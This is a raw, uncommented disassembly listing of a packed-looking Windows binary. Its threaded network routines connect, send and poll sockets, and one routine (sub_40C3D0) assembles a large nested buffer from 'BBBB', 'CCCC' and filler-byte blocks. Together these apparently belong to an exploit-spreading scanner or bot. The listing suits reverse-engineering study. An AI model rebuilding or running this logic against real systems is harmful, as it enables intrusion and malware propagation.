var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4E08DC
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4E0A00[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40B1CC
push 0Bh
call sub_40AA45
add esp, 150h
cmp eax, ebx
jnz short loc_40BCD2
mov esi, offset dword_4E2A00
push esi
call dword_4F1398 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4F1394 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40BCD2
lea eax, [ebp+var_1CC]
push offset unk_449A40
push eax
call sub_41B740
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40BCBC
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_408EB9
add esp, 14h
loc_40BCBC: ; CODE XREF: sub_40BC04+99j
lea eax, [ebp+var_1CC]
push eax
call sub_41458A
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40BCD2: ; CODE XREF: sub_40BC04+63j
; sub_40BC04+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_4F1334
mov edi, ebx
mov dword_4E0A04[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40BD9F
loc_40BCF0: ; CODE XREF: sub_40BC04+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_449A74
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40A7FD
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_4537CC[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40B9F0
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40BD6A
loc_40BD5F: ; CODE XREF: sub_40BC04+164j
cmp [ebp+var_4], ebx
jnz short loc_40BD91
push 1Eh
call esi ; Sleep
jmp short loc_40BD5F
; ---------------------------------------------------------------------------
loc_40BD6A: ; CODE XREF: sub_40BC04+159j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_449AA8
push eax
call sub_41B740
lea eax, [ebp+var_1CC]
push eax
call sub_41458A
add esp, 10h
loc_40BD91: ; CODE XREF: sub_40BC04+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40BCF0
loc_40BD9F: ; CODE XREF: sub_40BC04+E6j
cmp [ebp+var_30], ebx
jz loc_40BE49
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40BDB4: ; CODE XREF: sub_40BC04+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4E0A00[eax*8]
push eax
call dword_4E0928
push eax
lea eax, [ebp+var_1CC]
push offset unk_449AE0
push eax
call sub_41B740
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40BE02
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_408EB9
add esp, 14h
loc_40BE02: ; CODE XREF: sub_40BC04+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_41458A
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4E0A04[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40AA45
cmp eax, 1
pop ecx
jnz short loc_40BE39
push offset dword_4E2A00
call dword_4F1398 ; RtlDeleteCriticalSection
loc_40BE39: ; CODE XREF: sub_40BC04+228j
push [ebp+var_2C]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_40BE49: ; CODE XREF: sub_40BC04+19Ej
; sub_40BC04+25Dj
mov eax, [ebp+var_2C]
cmp dword_4E0A04[eax*8], 1
jnz loc_40BDB4
push 7D0h
call esi ; Sleep
jmp short loc_40BE49
sub_40BC04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE63 proc near ; DATA XREF: sub_40BF30+7Bo
; sub_40C021+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4E08A0
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4E091C
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40BF21
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4E084C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_4537D4[ecx], esi
jz short loc_40BF21
push [ebp+var_38]
push [ebp+var_28]
call dword_4E0928
push eax
mov edi, offset dword_4E33C4
push offset unk_449B20
push edi
call sub_41B740
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_408EB9
push edi
call sub_41458A
add esp, 28h
loc_40BF21: ; CODE XREF: sub_40BE63+5Dj
; sub_40BE63+7Ej
push esi
call dword_4E0934
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40BE63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40BF30 proc near ; DATA XREF: sub_401CC1+57FBo
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_4F1334
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40BF5E: ; CODE XREF: sub_40BF30+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4E0928
push eax
lea eax, [ebp+var_134]
push offset unk_449B48
push eax
call sub_41B740
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_4535C8
push eax
call sub_41B1F0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40BE63
push edi
push edi
call dword_4F1338 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40BFCA
loc_40BFBF: ; CODE XREF: sub_40BF30+98j
cmp [ebp+var_C], edi
jnz short loc_40BFCA
push 32h
call esi ; Sleep
jmp short loc_40BFBF
; ---------------------------------------------------------------------------
loc_40BFCA: ; CODE XREF: sub_40BF30+8Dj
; sub_40BF30+92j
push [ebp+var_4]
call dword_4F1324 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call near ptr sub_41C8D0
add esp, 0Ch
push [ebp+arg_0]
call dword_4E07D8
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4E089C
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call near ptr sub_41C8D0
add esp, 0Ch
jmp loc_40BF5E
sub_40BF30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C021 proc near ; DATA XREF: sub_401CC1+5521o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_4F1334
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C04F: ; CODE XREF: sub_40C021+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4E0928
push eax
lea eax, [ebp+var_130]
push offset unk_449B70
push eax
call sub_41B740
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_4535C8
push eax
call sub_41B1F0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40BE63
push edi
push edi
call dword_4F1338 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40C0BB
loc_40C0B0: ; CODE XREF: sub_40C021+98j
cmp [ebp+var_8], edi
jnz short loc_40C0BB
push 32h
call esi ; Sleep
jmp short loc_40C0B0
; ---------------------------------------------------------------------------
loc_40C0BB: ; CODE XREF: sub_40C021+8Dj
; sub_40C021+92j
push [ebp+arg_0]
call dword_4F1324 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40C0E2
inc [ebp+var_2C]
jmp loc_40C04F
; ---------------------------------------------------------------------------
loc_40C0E2: ; CODE XREF: sub_40C021+B7j
push [ebp+var_1C]
call dword_4E0928
push eax
lea eax, [ebp+var_130]
push offset unk_449B9C
push eax
call sub_41B740
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_408EB9
push [ebp+var_20]
call sub_40AB19
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40C021 endp
; =============== S U B R O U T I N E =======================================
sub_40C12E proc near ; CODE XREF: sub_40C3D0+Ep
; sub_40C3D0+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C12E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push dword ptr [ebp+8]
call sub_418D00
pop ecx
push eax
lea ecx, [ebp-8]
push dword ptr [ebp+8]
call sub_40C166
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
mov eax, esi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_40C166 proc near ; CODE XREF: .nsp0:0040C150p
; sub_40C3D0+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_418ED0
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C198
push ebx
push 0
push edi
call sub_41B190
push ebx
push [esp+1Ch+arg_0]
push edi
call near ptr sub_41C8D0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C198: ; CODE XREF: sub_40C166+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C166 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1A0 proc near ; CODE XREF: sub_40C29A+18p
; sub_40C314+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_418ED0
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C1EC
push edi
push 0
push esi
call sub_41B190
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call near ptr sub_41C8D0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call near ptr sub_41C8D0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C1EC: ; CODE XREF: sub_40C1A0+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C1A0 endp
; =============== S U B R O U T I N E =======================================
sub_40C1F5 proc near ; CODE XREF: sub_40C29A+5Ep
; sub_40C29A+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C205
push eax
call sub_419940
pop ecx
loc_40C205: ; CODE XREF: sub_40C1F5+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C1F5 endp
; =============== S U B R O U T I N E =======================================
sub_40C20E proc near ; CODE XREF: sub_40C29A+20p
; sub_40C375+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C23B
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_418ED0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C23F
loc_40C23B: ; CODE XREF: sub_40C20E+Dj
xor al, al
jmp short loc_40C296
; ---------------------------------------------------------------------------
loc_40C23F: ; CODE XREF: sub_40C20E+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B190
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C264
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C27E
; ---------------------------------------------------------------------------
loc_40C264: ; CODE XREF: sub_40C20E+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C27E: ; CODE XREF: sub_40C20E+54j
push eax
call near ptr sub_41C8D0
add esp, 0Ch
push dword ptr [esi]
call sub_419940
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C296: ; CODE XREF: sub_40C20E+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C20E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C29A proc near ; CODE XREF: sub_40C3D0+89p
; sub_40C3D0+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4E35D4
call sub_40C1A0
lea ecx, [ebp+var_8]
call sub_40C20E
mov eax, [ebp+var_4]
inc eax
push eax
call sub_418ED0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C2D4
xor al, al
jmp short loc_40C310
; ---------------------------------------------------------------------------
loc_40C2D4: ; CODE XREF: sub_40C29A+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B190
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call near ptr sub_41C8D0
add esp, 18h
mov ecx, esi
call sub_40C1F5
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C1F5
mov al, 1
loc_40C310: ; CODE XREF: sub_40C29A+38j
pop edi
pop esi
leave
retn
sub_40C29A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C314 proc near ; CODE XREF: sub_40C348+14p
; sub_40C365+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C1A0
mov ecx, esi
call sub_40C1F5
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40C314 endp
; =============== S U B R O U T I N E =======================================
sub_40C348 proc near ; CODE XREF: sub_40C3D0+F0p
; sub_40C3D0+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_418D00
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40C314
pop esi
retn 4
sub_40C348 endp
; =============== S U B R O U T I N E =======================================
sub_40C365 proc near ; CODE XREF: sub_40C3B1+Bp
; sub_40C3D0+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40C314
retn 8
sub_40C365 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C375 proc near ; CODE XREF: sub_40C3B1+16p
; sub_40C3D0+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C20E
test al, al
jz short loc_40C3AE
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_449F33+1)
call sub_40C1A0
mov ecx, esi
call sub_40C1F5
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40C3AE: ; CODE XREF: sub_40C375+Fj
pop esi
leave
retn
sub_40C375 endp
; =============== S U B R O U T I N E =======================================
sub_40C3B1 proc near ; CODE XREF: sub_40C3D0+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40C365
test al, al
jz short loc_40C3CC
mov ecx, esi
call sub_40C375
loc_40C3CC: ; CODE XREF: sub_40C3B1+12j
pop esi
retn 8
sub_40C3B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3D0 proc near ; CODE XREF: .nsp0:0040CC2Fp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C12E
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40C724
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40C724
push esi
lea ecx, [ebp+var_30]
call sub_40C12E
lea ecx, [ebp+var_20]
call sub_40C12E
lea ecx, [ebp+var_50]
call sub_40C12E
lea ecx, [ebp+var_18]
call sub_40C12E
lea ecx, [ebp+var_40]
call sub_40C12E
lea ecx, [ebp+var_38]
call sub_40C12E
lea ecx, [ebp+var_28]
call sub_40C12E
push 4
push offset dword_449BD4
lea ecx, [ebp+var_30]
call sub_40C314
push 3
push offset dword_449BDC
lea ecx, [ebp+var_30]
call sub_40C314
lea ecx, [ebp+var_30]
call sub_40C29A
lea ecx, [ebp+var_30]
call sub_40C375
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B190
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40C314
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40C314
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40C314
lea ecx, [ebp+var_20]
call sub_40C29A
push offset loc_449F38
lea ecx, [ebp+var_50]
call sub_40C348
lea ecx, [ebp+var_50]
call sub_40C29A
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C166
lea ecx, [ebp+var_58]
call sub_40C29A
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40C3B1
lea ecx, [ebp+var_58]
call sub_40C1F5
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B190
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40C348
push 4
push offset dword_449BE0
lea ecx, [ebp+var_18]
call sub_40C314
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40C314
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40C314
lea ecx, [ebp+var_18]
call sub_40C29A
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40C365
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40C365
lea ecx, [ebp+var_40]
call sub_40C375
lea ecx, [ebp+var_18]
call sub_40C1F5
lea ecx, [ebp+var_50]
call sub_40C1F5
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40C365
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40C365
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40C365
lea ecx, [ebp+var_38]
call sub_40C375
lea ecx, [ebp+var_20]
call sub_40C1F5
lea ecx, [ebp+var_30]
call sub_40C1F5
lea ecx, [ebp+var_40]
call sub_40C1F5
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40C314
lea ecx, [ebp+var_28]
call sub_40C29A
push 2
push offset dword_449F4C
lea ecx, [ebp+var_28]
call sub_40C314
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40C365
lea ecx, [ebp+var_28]
call sub_40C375
lea ecx, [ebp+var_38]
call sub_40C1F5
lea ecx, [ebp+var_10]
call sub_40C12E
lea ecx, [ebp+var_8]
call sub_40C12E
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40C365
lea ecx, [ebp+var_10]
call sub_40C20E
lea ecx, [ebp+var_28]
call sub_40C1F5
push offset dword_449F50
lea ecx, [ebp+var_8]
call sub_40C348
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C365
lea ecx, [ebp+var_8]
call sub_40C20E
lea ecx, [ebp+var_10]
call sub_40C1F5
push offset dword_449F54
lea ecx, [ebp+var_10]
call sub_40C348
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40C365
lea ecx, [ebp+var_10]
call sub_40C20E
lea ecx, [ebp+var_8]
call sub_40C1F5
push offset dword_449F58
lea ecx, [ebp+var_8]
call sub_40C348
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C365
lea ecx, [ebp+var_8]
call sub_40C20E
lea ecx, [ebp+var_10]
call sub_40C1F5
push offset dword_449F64
lea ecx, [ebp+var_48]
call sub_40C348
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40C365
lea ecx, [ebp+var_8]
call sub_40C1F5
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40C732
; ---------------------------------------------------------------------------
loc_40C724: ; CODE XREF: sub_40C3D0+1Bj
; sub_40C3D0+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40C732: ; CODE XREF: sub_40C3D0+352j
pop edi
pop ebx
leave
retn
sub_40C3D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C736 proc near ; CODE XREF: sub_40C7FA+A1p
; sub_40C7FA+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4F1514 ; select
cmp eax, edi
jnz short loc_40C79D
lea eax, [ebp+var_10C]
push eax
push esi
call sub_435832 ; __WSAFDIsSet
test eax, eax
jnz short loc_40C7A1
loc_40C79D: ; CODE XREF: sub_40C736+54j
xor eax, eax
jmp short loc_40C7B1
; ---------------------------------------------------------------------------
loc_40C7A1: ; CODE XREF: sub_40C736+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4E08B8
loc_40C7B1: ; CODE XREF: sub_40C736+69j
pop edi
pop esi
leave
retn
sub_40C736 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C7B5 proc near ; CODE XREF: sub_40C7FA+81p
; sub_40C7FA+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4E089C
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp eax, 4
jz short loc_40C7DF
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40C7DF: ; CODE XREF: sub_40C7B5+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4E08EC
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40C7B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C7FA proc near ; CODE XREF: sub_40C8D4+48p
; .nsp0:0040CD0Cp
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_418ED0
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40C823
xor al, al
jmp loc_40C8CF
; ---------------------------------------------------------------------------
loc_40C823: ; CODE XREF: sub_40C7FA+20j
push ebx
push 0
push esi
call sub_41B190
push 2Fh
push offset dword_449C70
push esi
call near ptr sub_41C8D0
push 8
lea eax, [esi+31h]
push offset dword_449CA0
push eax
mov [esi+2Fh], di
call near ptr sub_41C8D0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call near ptr sub_41C8D0
push 6
add ebx, edi
push offset dword_4E35CC
push ebx
call near ptr sub_41C8D0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_449BE8
push ebx
call sub_40C7B5
add esp, 48h
test al, al
jnz short loc_40C88B
loc_40C887: ; CODE XREF: sub_40C7FA+B5j
xor bl, bl
jmp short loc_40C8C6
; ---------------------------------------------------------------------------
loc_40C88B: ; CODE XREF: sub_40C7FA+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40C736
push [ebp+var_4]
push esi
push ebx
call sub_40C7B5
add esp, 1Ch
test al, al
jz short loc_40C887
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40C736
add esp, 10h
mov bl, 1
loc_40C8C6: ; CODE XREF: sub_40C7FA+8Fj
push esi
call sub_419940
pop ecx
mov al, bl
loc_40C8CF: ; CODE XREF: sub_40C7FA+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40C7FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8D4 proc near ; CODE XREF: .nsp0:0040CCF2p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
